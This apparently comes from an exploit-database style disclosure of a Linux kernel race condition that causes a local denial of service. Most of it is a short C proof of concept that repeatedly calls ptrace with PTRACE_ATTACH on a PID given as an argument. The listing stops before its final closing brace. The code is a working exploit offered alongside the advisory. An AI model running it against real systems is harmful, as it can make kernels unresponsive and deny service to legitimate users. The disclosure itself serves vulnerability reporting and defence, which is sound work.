The Linux kernel is prone to a local denial-of-service vulnerability caused by a race condition.
Attackers can exploit this issue to cause the kernel to become unresponsive, denying service to legitimate users.
#include <stdlib.h>
#include <sys/ptrace.h>
int main(int argc, char *argv[])
{
pid_t pid = atoi(argv[1]);
while (1)
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
return 0;
